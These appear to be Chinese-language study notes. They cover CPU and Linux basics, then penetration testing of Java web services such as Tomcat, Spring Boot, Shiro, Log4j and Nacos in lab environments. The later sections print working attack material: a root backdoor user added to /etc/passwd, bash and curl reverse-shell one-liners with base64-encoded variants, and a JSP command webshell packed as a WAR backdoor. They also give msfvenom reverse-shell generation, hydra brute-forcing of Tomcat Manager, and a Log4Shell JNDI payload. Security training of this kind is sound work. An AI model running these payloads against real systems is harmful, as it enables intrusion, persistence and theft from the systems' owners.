- 小端字节序(Little-endian):低位字节存储在低地址,高位字节存储在高地址。
例如,一个值为 0x0A0B0C0D 的整型数,采用小端序和大端序时在内存中的存储情况如下图所示。

x86 的 CPU 使用小端序。
https://getiot.tech/computerbasics/endianness/
https://www.ruanyifeng.com/blog/2022/06/endianness-analysis.html
https://xiaolincoding.com/os/1_hardware/how_cpu_run.html

反汇编
反编译
寄存器
寄存器(register)是CPU内部用于暂存指令、数据和地址的存储器。
常见的寄存器种类:
- 通用寄存器,用来存放需要进行运算的数据,比如需要进行加和运算的两个数据。
- 程序计数器,用来存储 CPU 要执行下一条指令「所在的内存地址」,注意不是存储了下一条要执行的指令,此时指令还在内存中,程序计数器只是存储了下一条指令「的地址」。
- 指令寄存器,用来存放当前正在执行的指令,也就是指令本身,指令被执行完成之前,指令都存储在这里。 段寄存器?
物理地址?逻辑地址?
现代(即386及以后)x86 处理器具有八个32位通用寄存器。32 位寄存器是以E开头,E代表扩展(extended)。

寄存器的名称承载着其历史和用途
- EAX,累加器(Accumulator),最初被设计为执行算术运算和数据操作的主要寄存器。
- EBX,基址寄存器(Base Register),指向数据段(DS段)中的数据。用于存储程序的基址。
- ECX, 计数器(Counter),最初用于循环和迭代操作,特别是在处理循环时,ECX被用来保持循环的计数器。
- EDX, 数据寄存器(Data Register),最初被设计来存储数据操作期间的附加数据,通常用于扩展特定运算(如乘法和除法)。
- ESI, 源索引寄存器(Source Index Register)
- EDI,目的索引寄存器(Destination Index Register)
但按照惯例,有两个寄存器保留为特殊用途,即栈指针(ESP)和基址指针(EBP)。
- ESP 栈指针(Stack Pointer),始终指向当前栈顶的位置。在函数调用和返回、局部变量存储时,ESP 的值会发生变化。
- EBP 基址指针(Base Pointer),通常用于指向当前函数的栈帧基址。它维护了一种稳定的方式来访问局部变量和函数参数。
请注意,上述每个寄存器都是32位或4字节长。EAX、EBX、ECX和EDX寄存器的低2字节可以通过AX进行引用,并可进一步细分为高字节(AH、BH、CH和DH)和低字节(AL、BL、CL和DL),每个字节长度为1字节。
此外,ESI、EDI、EBP和ESP也可以通过它们的16位等效寄存器SI、DI、BP和SP进行引用。
段寄存器
共有六个段寄存器,如下所示:
CS:代码段寄存器,用于存储代码段(.text段)的基址,供数据访问使用。
DS:数据段寄存器,存储变量的默认位置(.data段),供数据访问使用。
ES:额外段寄存器,在字符串操作过程中使用。
SS:堆栈段寄存器,存储堆栈段的基址,当隐式使用堆栈指针或显式使用基址指针时使用。
FS:额外段寄存器。
GS:额外段寄存器。
标志寄存器
IDA 界面 快捷键
IDA插件
GDB 调试
静态链接、动态链接
#include <stdio.h>
int main()
{
printf("Hello, World!");
return 0;
}
magic
栈溢出
exeinfo
静态分析 动态分析
- ida,windows、linux
- pwndbg
迷宫问题
栈溢出
gdb => pwndbg
内存布局

- 每个进程在多任务操作系统中运行在独立的虚拟地址空间,32位系统的虚拟地址空间总是4GB。
- 程序的代码段(Text)包含可执行指令,通常是只读的,防止程序修改其指令。
- 数据段包含全局和静态变量,其内容可以在运行时改变,但可以分为只读和可写区域。
- BSS段存储所有未初始化的全局和静态变量,操作系统会在执行前将其初始化为0。
- 栈区用于存储函数调用的数据,以LIFO结构管理函数的局部变量和返回地址。
- 堆区用于动态内存分配,处理程序在运行时请求的内存,通常由malloc和free等函数管理。
x64dbg 是一款免费且开源的调试器,支持32位和64位Windows应用程序的调试。
IDA
Linux
用户和用户组
用户标识符 UID
UID(User Identifier,用户标识符)是 Linux/Unix 系统中用于唯一标识用户的数字值,存储于 /etc/passwd 和用户数据库(如 LDAP)中。系统内核实际通过 UID(而非用户名)进行权限校验和进程管理。
| UID 范围 | 类型 | 安全特性 |
|---|---|---|
| 0-99 | 系统用户 | 其中 UID 为 0 代表 root 用户,拥有系统最高权限,可绕过所有权限检查。渗透测试中常作为提权目标。 |
| 100-999 | 服务用户 | 用于运行守护进程(如 mysql, www-data),遵循最小权限原则,通常禁止交互登录。 |
| 1000-60000 | 普通用户 | 默认交互登录用户范围(各发行版可能不同) |
| 65534 | nobody 用户 | 权限最低,常用于匿名访问(如 NFS、容器) |
https://www.baeldung.com/linux/user-ids-reserved-values
系统用户是为了系统管理和服务运行而创建的用户,其 UID 通常在 0 到 99 的范围内,这种 UID 是静态分配的。这意味着在操作系统初始化时,系统会自动创建这些用户并分配固定的 UID。
- UID 0: 超级用户
root,拥有系统的全部权限,对系统资源和所有用户的完全控制权。 - UID 1:
daemon,通常用于运行系统级别的后台服务和守护进程,负责处理系统任务而不需要用户交互。 - UID 2:
bin,主要用于存放存取基本系统命令的用户,通常用于管理系统的可执行文件。
应用用户是由特定应用程序在其安装过程中创建的系统用户。这些用户用于运行应用程序并持有程序使用的相关资源。虽然应用用户的用户 ID 属于 100 到 999 的范围,这些值并不是静态的,而是动态分配的。这意味着同一个应用程序可能在不同的安装或运行环境中为其用户分配不同的用户 ID。例如,某个应用可能会在第一次安装时分配 UID 100,而在后续的安装中,可能会由于用户 ID 的使用情况而选择不同的值。
普通用户是系统中常规使用的用户,其权限和功能比系统用户要低,用户 ID 通常从 1000 开始。在 Linux 系统中,/etc/login.defs 文件定义了普通用户 ID 的范围,以及用户 ID 分配的其他规则。命令如 useradd 等会读取该文件,以便在创建新用户时分配合适的用户 ID。
影响普通用户 ID 上限的一个主要因素是 Linux 内核的版本。在 Linux 内核 2.4 及之前的版本中,用户 ID 的最大值为 65535,这对应于 16 位整数的最大值。而在 Linux 内核 2.6 及之后的版本上限已经扩展到 4,294,967,295,这对应于 32 位整数,从而为系统提供了更大的用户 ID 空间,满足日益增长的用户需求。
GID
用户信息存储
/etc/passwd 是 Linux 系统的核心用户数据库文件,存储所有用户的基本信息。该文件全局可读(权限 644),但仅 root 用户可写。
$ ls -la /etc/passwd
-rw-r--r-- 1 root root 1829 Jul 30 08:01 /etc/passwd
每行记录代表一个用户,包含 7个字段(冒号分隔):
$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
...
mysql:x:116:119:MariaDB Server:/nonexistent:/bin/false
...
user1:x:1000:1000:User One,,,:/home/user1:/bin/bash
...
用户名:密码占位符:用户ID:组ID:用户描述信息:家目录:登录Shell
- 用户名:不能为空
- 密码占位符:
x:表示密码存储在/etc/shadow文件中空白:表示用户未设置密码*:表示禁止通过密码登录,通常用于系统服务账户(如nobody、www-data)
- 家目录:用户登录后的默认工作目录
- 登录 Shell:用户登录后默认使用的 Shell
https://www.cyberciti.biz/faq/understanding-etcpasswd-file-format/

如果有权限修改 /etc/passwd 文件,则可以新建用户。
$ openssl passwd 123456
$1$pZLeoQJV$2Cmive6ZNPitgNUVqYVym0
hack:$1$pZLeoQJV$2Cmive6ZNPitgNUVqYVym0:0:0::/root:/bin/bash
$ ls -l /etc/shadow
-rw-r----- 1 root shadow 1088 Jul 30 08:01 /etc/shadow
https://www.cyberciti.biz/faq/understanding-etcshadow-file/

- 用户名,对应
/etc/passwd中已存在的用户名。 - 密码:哈希密码(当
/etc/passwd中密码字段为x时生效)。 - 最后修改日期:上次更改密码的天数(从 1970 年 1 月 1 日起计算),
0表示下次登录必须修改密码,空白表示无限制。 - 最短有效期:两次密码修改之间的最短天数,
0或空白表示可随时修改密码。 - 最长有效期:密码的有效期(天数),默认
99999。 - 警告期:密码到期前多少天开始提醒用户,默认
7。 - 宽限期:密码到期后多少天内账户仍可登录,超时则禁用。
- 失效日期:账户被禁用的日期(从 1970 年 1 月 1 日起计算),默认为空,用户不会被禁用。
| 前缀 | 算法 | 说明 |
|---|---|---|
$1$ | MD5 | 已过时,易受碰撞攻击(如 $1$salt$hash)。 |
$2a$ | Blowfish (bcrypt) | 早期实现,存在部分安全问题(如 $2a$05$salt$hash)。 |
$2b$ | Blowfish (bcrypt) | 修复了 $2a$ 的漏洞(现代系统推荐)。 |
$2y$ | Blowfish (bcrypt) | 与 $2b$ 类似,部分系统兼容性别名。 |
$5$ | SHA-256 | 默认算法之一(如 $5$rounds=5000$salt$hash)。 |
$6$ | SHA-512 | 更安全的算法(推荐),支持自定义迭代次数(如 $6$rounds=656000$salt$hash)。 |
$y$ | yescrypt | 新一代抗 GPU/ASIC 算法(如 Ubuntu 22.04+)。 |
$argon2i$ | Argon2i | 内存密集型算法,抗硬件破解(如 $argon2i$v=19$m=65536,t=3,p=1$salt$hash)。 |
$argon2id$ | Argon2id | Argon2 的混合模式,平衡安全性与性能。 |
$7$ | Scrypt | 需要大量内存的算法(较少见,如 $7$CUSTOM$salt$hash)。 |
参考资料
文件权限

SUID(Set User ID)是一种应用于可执行文件的特殊权限位,它允许其他用户以文件所有者的身份执行该文件,而不是以其自身的身份执行。该机制在权限管理中具有重要作用,能够在不直接授予用户高权限的情况下,允许特定操作或访问敏感资源。
/usr/bin/passwd是一个典型的 SUID 程序,它允许普通用户修改其密码。尽管普通用户没有直接修改 /etc/shadow 文件的权限,但由于 passwd 程序设置了 SUID 位,执行时该程序会以 root 权限运行,从而能够成功修改系统中的密码。
在文件的权限位中,SUID 表现在用户执行权限位的位置,通常以小写字母 s 表示。如果文件的拥有者有执行权限,则显示为小写的 s,如果没有执行权限则显示为大写的 S。例如:
-rwsr-xr-x 1 root root /usr/bin/passwd
在以上示例中,权限位 -rwsr-xr-x 中的 s 表示该文件具有 SUID 位,并且文件所有者(root)具有执行权限。
# 设置 SUID 权限
chmod u+s filename
# 移除 SUID 权限
chmod u-s filename
4777
SGID(Set Group ID)
SGID 可以应用于 文件和目录。它在文件和目录上的作用有所不同。
Sticky Bit
主要用于控制目录下文件的删除权限。它可以防止非文件所有者删除或修改目录中其他用户的文件。 在文件或目录的权限位中,Sticky Bit 体现在其他用户的执行权限位置。具体表现为:
- 有执行权限时:Sticky Bit 表示为小写的
t。 - 没有执行权限时:Sticky Bit 表示为大写的
T。
drwxrwxrwt 2 root root 4096 Oct 25 08:00 /tmp
Sudo
sudo 是一个用于 Unix 和 Linux 系统的命令行工具,它允许以其他用户的身份(通常是超级用户或管理员)的权限来执行命令。其全称是“superuser do”(超级用户执行),主要功能是使普通用户能够临时获取管理权限,以执行需要更高权限的任务。
普通用户可以通过 sudo 执行需要管理员权限的命令,例如安装软件、修改系统配置等。
sudo 允许管理员配置哪些用户可以执行哪些命令,并且可以记录每个命令的执行。这种权限控制提供了比直接登录为 root 用户更安全的方式。
所有通过 sudo 执行的命令都会被记录在系统日志中,这使得审计和追踪命令的执行变得容易。日志通常位于 /var/log/auth.log 或 /var/log/secure 中。
sudo 的行为可以通过配置文件 /etc/sudoers 来管理。管理员可以设置哪些用户具有哪些特权,甚至可以建立基于时间的限制和命令别名。
$ ls -l /etc/sudoers
-r--r----- 1 root root 1671 Aug 3 2022 /etc/sudoers
$ sudo cat /etc/sudoers
...
# User privilege specification
root ALL=(ALL:ALL) ALL
# Members of the admin group may gain root privileges
%admin ALL=(ALL) ALL
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
# See sudoers(5) for more information on "@include" directives:
@includedir /etc/sudoers.d
root ALL=(ALL) ALL
- root 表示用户名
- 第一个 ALL 指示允许从任何终端、机器访问 sudo
- 第二个 (ALL)指示 sudo 命令被允许以任何用户身份执行
- 第三个 ALL 表示所有命令都可以作为 root 执行
%sudo ALL=(ALL) ALL
属于 sudo 组的用户有权限运行任何命令。
Bob ALL=(root) NOPASSWD: /usr/bin/apache2
用户 Bob 可以从任何终端运行 apache2,并且可以以 root 用户的身份运行,而无需输入密码。
安全编辑授权规则文件和语法检查工具visudo
枚举当前用户的 sudo 权限
sudo -l
for user in $(cat /etc/passwd | awk -F: '{print $1}');do echo "$user" ; id "$user" ;done | grep -B 1 "sudo"
普通用户执行 sudo 命令时 -> 首先会检查/var/db/sudo/目录下是否有用户时间戳 -> 检查/etc/sudoers 配置文件是否有 sudo 权限 -> 有权限就执行命令并反回结果 -> 退出 sudo 返回普通用户 shell 环境。
其中步骤 2 检查:时间戳默认从上一次执行 sudo 命令 5 分钟后过期 -> 过期了需要输入当前用户的密码 -> 检查/etc/sudoers 配置文件是否有 sudo 权限,没有权限就退出 sudo。
参考资料
- https://heshandharmasena.medium.com/explain-sudoers-file-configuration-in-linux-1fe00f4d6159
- https://medium.com/@Z3pH7/tryhackme-hashing-basics-cyber-security-101-thm-17f1549693f7
靶场渗透
术语
-
POC(Proof of Concept)
- 一种概念验证,旨在证明某个漏洞或攻击方法的存在和可利用性,通常是一个简单的示例或代码。
-
EXP(Exploit)
- 针对漏洞的攻击工具或代码,能够利用特定的安全漏洞。
工具
-
- 一款强大的网络扫描和安全审计工具,广泛用于发现网络中的主机、开放端口以及服务和操作系统识别。
nmap -sS 192.168.1.1 nmap -sS -p 1-65535 192.168.1.1 -
- 一款纯 go 开发的全方位扫描器,具备端口扫描、协议检测、指纹识别,暴力破解等功能。支持协议 1200+,协议指纹 10000+,应用指纹 20000+,暴力破解协议 10 余种。
# 默认扫描TOP 400 端口,关闭存活性探测 kscan -t 192.168.1.1 -Pn # 全端口 1-65535扫描,关闭存活性探测 kscan -t 192.168.1.1 -Pn -sV -
- 一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。
# 扫描指定IP和常见端口 ./fscan -h 192.168.1.1 # 扫描指定IP和全部端口 ./fscan -h 192.168.1.1 -p 1-65535 # 扫描地址段 ./fscan -h 192.168.x.x -
- 基于 YAML 语法模板的定制化快速漏洞扫描器。
nuclei -u https://example.com -
- 一款长亭自研的完善的安全评估工具,支持常见 web 安全问题扫描和自定义 poc。
xray webscan --listen 127.0.0.1:7777 --html-output proxy.html# 扫描指定目标 ./xpoc -t https://example.com -
- Web 应用和服务指纹识别工具。
./observer_ward -t http://192.168.1.1
Runtime.getRuntime().exec()
Runtime.getRuntime().exec() 是 Java 中用于执行外部命令的重要方法,允许开发者在 Java 应用程序中调用系统命令。然而,它在使用时存在一些显著限制,需谨慎考虑以下因素:
-
无法执行重定向和管道符:
- 该方法不支持使用重定向符号 (
>) 将命令的输出重定向到文件。需要使用其他方法(如ProcessBuilder)来实现输出重定向。 - 该方法无法使用管道符号 (
|) 将一个命令的输出直接传递给另一个命令。这限制了组合多个命令的灵活性。
- 该方法不支持使用重定向符号 (
-
参数处理:
- 当传递命令及其参数时,必须手动处理空格、引号和特殊字符(如
$,&等)的转义。没有正确处理可能导致命令格式错误,从而无法执行。
- 当传递命令及其参数时,必须手动处理空格、引号和特殊字符(如
-
环境变量:
- 执行的命令使用的是 Java 应用程序父进程的环境变量,无法直接设置或修改新的环境变量。如果需要特定的环境变量值,需通过其他方式进行设置。
为了实现执行复杂命令,如反弹 shell,需要对 payload 进行编码,https://ares-x.com/tools/runtime-exec
通用技能
反弹 Shell
首先,在攻击者机器上监听端口(如 4444),确保受害者主机能够访问攻击者机器,通常攻击者机器指具备公网 IP 地址的云服务器。
$ nc -lvp 4444
listening on [any] 4444 ...
然后,在受害者机器上执行反向 shell 的命令。
Bash
# bash -i >& /dev/tcp/192.168.200.134/4444 0>&1
bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1
参数解释:
bash -i:启动一个交互式 Bash shell。>&:重定向符号,表示将标准输出(stdout)和标准错误(stderr)重定向到同一目的地(攻击者)。/dev/tcp/<ATTACKER-IP>/<PORT>:特殊的设备文件,表示与指定 IP 地址和端口的 TCP 连接。0>&1:将标准输入(stdin)重定向到标准输出(stdout),这样目标机器可以接收来自攻击者的输入。

其他
curl https://reverse-shell.sh/yourip:1337 | sh
工具
Java Web 基础
传统 Java Web 项目
设置 Maven 仓库镜像
https://juejin.cn/post/7238403651022454821
<mirror>
<id>aliyunmaven</id>
<mirrorOf>*</mirrorOf>
<name>阿里云公共仓库</name>
<url>https://maven.aliyun.com/repository/public</url>
</mirror>
通过 WAR 包部署到 Tomcat
docker run -it --rm -p 8888:8080 -p 8009:8009 -v ROOT.war:/usr/local/tomcat/webapps/ROOT.war tomcat:9.0.30
Maven 标准 Java Web 项目结构
project-root/
├── src/
│ ├── main/
│ │ ├── java/ # Java 源码
│ │ ├── resources/ # 配置文件、资源
│ │ └── webapp/ # Web 目录(Servlet/JSP/HTML 等)
│ │ ├── WEB-INF/
│ │ │ └── web.xml
│ │ └── static/
│ └── test/
│ ├── java/ # 测试源码
│ └── resources/ # 测试资源
├── pom.xml # Maven 配置文件
WAR 包
WAR 的格式,任意文件读取,敏感文件
WAR 包(Web Application Archive,Web 应用归档包)是一种用于 Java Web 应用的压缩文件格式,扩展名为.war,便于在诸如 Tomcat 等 Java Web 服务器上部署和分发。其结构和内容具有如下特点:
- 根目录:存放静态文件(如 HTML、JSP、图片、样式等)
- WEB-INF/:Web 应用的内部资源目录,不能被直接访问
- web.xml:Web 应用的部署描述文件(必须)
- classes/:编译后的 Java 类文件
- lib/:项目依赖的 jar 包
1. WEB-INF/web.xml
- 作用:Web 应用的核心部署描述符,定义了 Servlets、过滤器、监听器、欢迎页等。
- 常见配置:
- Servlet 映射(URL 路由)
- 过滤器(Filter)定义与映射
- Session 配置
- 错误页面
- MIME 类型等
WEB-INF/web-fragment.xml (可选)
- 作用:提供 Web 应用的模块化配置。多个 jar 包(如第三方库)可自带该文件,将其配置合并进主应用的
web.xml。 - 常见用途:依赖库自动注册 Servlet、Filter 等。
WEB-INF/classes/ 下的 *.properties 配置文件
- 作用:保存应用的自定义参数、国际化资源(如
messages.properties、config.properties等)。 - 常见用途:
- 数据库连接参数
- 日志级别和路径
- 国际化文本资源
META-INF/context.xml (可选)
- 作用:为 Tomcat 配置单独的 Web 应用上下文参数,如数据源、环境变量等。
- 常见用途:
- 数据源 JNDI 配置
- 环境变量注入
其它自定义配置文件
- 如
spring.xml、application.yml、log4j.properties、logback.xml等,根据使用的框架来定。 - 作用:配置具体框架的行为和参数。
总结表
| 配置文件 | 位置 | 作用 |
|---|---|---|
| web.xml | WEB-INF/ | Web应用整体配置 |
| web-fragment.xml | WEB-INF/ | 第三方模块动态扩展主配置 |
| *.properties | WEB-INF/classes/ | 参数、国际化、日志等通用配置 |
| context.xml | META-INF/ | Tomcat专用应用级别环境配置 |
| spring.xml / application.yml 等 | WEB-INF/classes/ | 框架专用配置文件 |
Apache Tomcat
Apache Tomcat 是由 Apache 软件基金会(ASF)开发和维护的开源 Java Servlet 容器与 Web 服务器。它实现了 Java EE(现 Jakarta EE)中的 Servlet、JavaServer Pages (JSP) 及相关规范,为 Java Web 应用提供运行环境。
Apache Tomcat 作为独立 Web 服务器或与 Apache HTTP Server、Nginx 协同工作,默认端口 8080,常见错误页面如下:

Apache Tomcat Manager
Apache Tomcat Manager 是 Tomcat 服务器官方自带的一个 Web 管理应用,通常以 manager 名称部署。它为系统管理员、开发者提供了基于浏览器的界面以及 REST API,方便远程管理和监控 Tomcat 上运行的 Web 应用。
从 Apache Tomcat 7.0 版本开始,Manager Web 应用默认只允许从本地(localhost)访问。这一限制主要通过 RemoteAddrValve 组件在 Manager 应用的配置文件中实现:
默认配置文件:/usr/local/tomcat/webapps/manager/META-INF/context.xml
<Context antiResourceLocking="false" privileged="true" >
<Valve className="org.apache.catalina.valves.RemoteAddrValve"
allow="127\.\d+\.\d+\.\d+|::1|0:0:0:0:0:0:0:1" />
<Manager sessionAttributeValueClassNameFilter="java\.lang\.(?:Boolean|Integer|Long|Number|String)|org\.apache\.catalina\.filters\.CsrfPreventionFilter\$LruCache(?:\$1)?|java\.util\.(?:Linked)?HashMap"/>
</Context>
该配置的 allow 属性只允许本地地址(包括 IPv4 的 127.0.0.1 和 IPv6 的 ::1)访问 Manager 应用。
若需要允许其他主机访问 Manager,应根据实际需求调整 allow 属性。例如,放开所有 IPv4 地址的访问权限,可以将配置修改为:
<?xml version="1.0" encoding="UTF-8"?>
<Context antiResourceLocking="false" privileged="true" >
<Valve className="org.apache.catalina.valves.RemoteAddrValve"
allow="\d+\.\d+\.\d+\.\d+" />
</Context>
上述配置中的正则表达式 \d+\.\d+\.\d+\.\d+ 允许任意 IPv4 地址访问 Manager 应用。
在 \usr\local\tomcat\conf\server.xml 配置文件中,Tomcat 提供了针对暴力破解口令(Brute-force Attack)行为的防护机制。通过设置相关参数,可以有效降低账户被暴力尝试密码的风险,具体参数如下:
| 配置项 | 默认值 | 说明 |
|---|---|---|
lockOutTime | 600 秒(10 分钟) | 账户锁定时间 |
failureCount | 5 | 连续认证失败次数 |
failureWindow | 300 秒(5 分钟) | 计算失败次数的时间窗口 |
同一用户在 failureWindow 秒内,认证失败次数达到 failureCount,账户将被锁定 lockOutTime 秒。
./fscan -h <ip>

https://github.com/shadow1ng/fscan/blob/main/WebScan/pocs/tomcat-manager-weak.yml
- hydra
hydra -L /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt -P /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt http-get://<ip>/manager/html

- 使用 Burp Suite 破解
上传 WAR 后门
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
- 使用 msfvenom,反弹 shell
msfvenom -p java/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f war -o shell.war
在 MSF 中,默认的反弹(reverse)端口通常是 4444。许多 ISP(互联网服务提供商)会主动屏蔽常见渗透测试端口(如
4444),导致反弹连接失败。在实践中,需要注意更换为常用端口以降低被屏蔽或识别的概率,如80、443。https://docs.ucloud.cn/unet/faq/firewall
在公网机器上进行监听:
nc -lvnp <port>
https://tomcat.apache.org/tomcat-10.0-doc/appdev/sample/
Ghostcat 高危文件读取/包含漏洞(CVE-2020-1938)
Ghostcat(幽灵猫) 是由长亭科技安全研究员发现的存在于 Tomcat 中的安全漏洞,由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件,例如可以读取 webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。
cd vulhub/tomcat/CVE-2020-1938
docker compose up
https://mp.weixin.qq.com/s/D1hiKJpah3NhEBLwtTodsg https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
CVE-2025-24813
https://github.com/absholi7ly/POC-CVE-2025-24813
参考资料
https://github.com/p0dalirius/ApacheTomcatScanner
https://cloud.tencent.com/developer/article/1944136
https://medium.verylazytech.com/ethical-hacking-guide-penetration-testing-apache-tomcat-2025-edition-01dc367f070c https://forum.butian.net/share/316
Spring Boot
基于 IDEA 创建 Spring Boot 应用
https://www.jetbrains.com/zh-cn/help/idea/your-first-spring-application.html
Spring Boot Actuator
Spring Boot Actuator 是 Spring Boot 官方提供的一个自动化监控模块,为你的 Spring Boot 应用添加一组现成的端点(Endpoints),用来监控、管理和维护正在运行的应用。
Maven 添加依赖
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-actuator</artifactId>
</dependency>
application.properties
management.endpoint.heapdump.access=unrestricted
management.endpoints.web.exposure.include=*
Actuator 提供一组自动配置的 REST 端点(endpoints),包括但不限于:
/actuator/health:应用健康状况(可扩展检查数据库、Redis、Disk 等)/actuator/info:应用信息(可配置 version、描述等)/actuator/metrics:关键性能指标暴露(如 JVM、CPU、内存、请求数等)/actuator/env:环境变量和配置属性/actuator/beans:Spring 容器管理的 Bean 列表/actuator/loggers:所有日志级别动态观察和调整/actuator/threaddump:线程信息/actuator/heapdump:JVM 堆转储/actuator/mappings:Controller 路径映射详情
其中对寻找漏洞比较重要接口的有:
-
/env、/actuator/envGET 请求
/env会直接泄露环境变量、内网地址、配置中的用户名等信息;当程序员的属性名命名不规范,例如 password 写成 psasword、pwd 时,会泄露密码明文;同时有一定概率可以通过 POST 请求
/env接口设置一些属性,间接触发相关 RCE 漏洞;同时有概率获得星号遮掩的密码、密钥等重要隐私信息的明文。 -
/refresh、/actuator/refreshPOST 请求
/env接口设置属性后,可同时配合 POST 请求/refresh接口刷新属性变量来触发相关 RCE 漏洞。 -
/restart、/actuator/restart暴露出此接口的情况较少;可以配合 POST 请求
/env接口设置属性后,再 POST 请求/restart接口重启应用来触发相关 RCE 漏洞。 -
/jolokia、/actuator/jolokia可以通过
/jolokia/list接口寻找可以利用的 MBean,间接触发相关 RCE 漏洞、获得星号遮掩的重要隐私信息的明文等。 -
/trace、/actuator/httptrace一些 http 请求包访问跟踪信息,有可能在其中发现内网应用系统的一些请求信息详情;以及有效用户或管理员的 cookie、jwt token 等信息。
heapdump 利用
java -jar heapdump_tool.jar heapdump
https://github.com/wyzxxz/heapdump_tool https://github.com/whwlsfb/JDumpSpider
Spring4Shell(CVE-2022-22965)
Spring4Shell 是一种影响运行在 JDK 9+环境中、以 WAR 包在 Tomcat 下部署的 Spring 框架远程代码执行漏洞。
https://www.hackthebox.com/blog/spring4shell-explained-cve-2022-22965 https://medium.com/@vulnmachines/spring4shell-write-up-vulnmachines-31d825feeb34
参考资料
https://github.com/LandGrey/SpringBootVulExploit/tree/master https://github.com/wyzxxz/heapdump_tool
Apache Shiro
Apache Shiro 是一个功能强大的 Java 安全框架,主要用于在 Java 应用中实现 身份认证(Authentication)、授权(Authorization)、加密(Cryptography)和会话管理(Session Management) 等安全相关功能。其目标是让安全变得简单易用,并能灵活集成到各种 Java 项目(Web、非 Web、微服务等)。
CVE-2016-4437
Apache Shiro 1.2.4 及以前版本中,加密的用户信息序列化后存储在名为 remember-me 的 Cookie 中。攻击者可以使用 Shiro 的默认密钥伪造用户 Cookie,触发 Java 反序列化漏洞,进而在目标机器上执行任意命令。

ShiroAttack2 工具启动需要低版本 JDK,如 JDK8
目标地址需要完整,添加协议,如http://

参考
https://github.com/SummerSec/ShiroAttack2 https://tttang.com/archive/1645/
Fastjson
Fastjson 是阿里巴巴开源的一款高性能 JSON 处理库,提供对象与 JSON 字符串之间的序列化和反序列化功能。它以速度快、用法简单著称,广泛应用于 Java 项目尤其是互联网业务场景。
参考资料
https://github.com/safe6Sec/Fastjson
https://github.com/lemono0/FastJsonParty
Apache Log4j 2
Apache Log4j 2 是 Apache 软件基金会开发和维护的一个高性能、灵活和可靠的 Java 日志框架,是 Log4j 的下一代产品。它广泛用于企业级 Java 应用的日志记录与分析。
JNDI(Java Naming and Directory Interface,Java 命名和目录接口)是 Java 平台提供的一套 API,用于统一访问不同类型的命名和目录服务。
RMI 即 Remote Method Invocation(远程方法调用),是 Java 提供的一种远程通信机制,允许一个 Java 程序调用另一个 Java 虚拟机(JVM)中对象的方法,就像调用本地对象一样。
Log4shell(CVE-2021-44228)
在其 2.0 到 2.14.1 版本中存在一处 JNDI 注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于 ${jndi:ldap://evil.com/example}的 lookup 用于进行 JNDI 注入,执行任意代码。
漏洞环境
cd vulhub/log4j/CVE-2021-44228
docker compose up
漏洞利用
nuclei -id apache-solr-log4j-rce -u http://192.168.200.1:8983
使用 JNDI 注入利用工具JNDI-Injection-Exploit,生成 JNDI 链接并启动后端相关服务。由于 -C 命令会被作为参数传入Runtime.getRuntime().exec(),传入的命令需要使用Runtime.exec Payload Generater进行编码。
curl -k https://reverse-shell.sh/192.168.200.134:1337|sh
bash -c {echo,Y3VybCAtayBodHRwczovL3JldmVyc2Utc2hlbGwuc2gvNDcuOTYuMzguODc6MTMzN3xzaA==}|{base64,-d}|{bash,-i}
bash -i >& /dev/tcp/192.168.200.134/4444 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzQvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzQvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}"

在 VPS 上 使用 nc -lvp 4444 监听
GET /solr/admin/cores?action=%24%7bjndi%3aldap%3a%2f%2f192.168.200.134%3a1389%2f5sl4so%7d HTTP/1.1
Host: 192.168.200.1:8983

参考
https://tttang.com/archive/1378/ https://www.anquanke.com/post/id/263325
Nacos
Nacos(Naming and Configuration Service)是由阿里巴巴开源的一款云原生应用配套工具,主要应用于服务发现、配置管理、服务管理等场景,旨在简化微服务架构中的服务治理工作。Nacos 特别适合构建和管理现代云原生应用的微服务架构。
在渗透测试中,可能泄露数据库配置、AK/SK、企业微信配置和业务系统配置等等。

获取版本信息
curl -X GET http://127.0.0.1:8848/nacos/v1/console/server/state
开放端口情况介绍
8848端口:Nacos Web 控制台和 REST API 的默认访问端口,用于 Nacos 的管理界面,可以通过浏览器访问http://<NACOS_SERVER_IP>:8848/nacos来进行服务管理、配置管理、查看注册服务和其它基本操作。7848端口:: Nacos 集群的 TCP 通信端口(一般情况下是用于内部通信)。
默认控制台默认口令
Nacos 的默认用户名和密码均为 nacos。
在 2.2.2 版本之前,Nacos 的默认控制台无论服务端是否开启鉴权,都会显示一个登录页。这一设定导致许多用户误认为 Nacos 默认开启了鉴权。从 2.2.2 版本开始,进行了以下调整:
- 当未开启鉴权时,默认控制台将不再需要登录即可访问。控制台中会显示提示,提醒用户当前集群未开启鉴权。
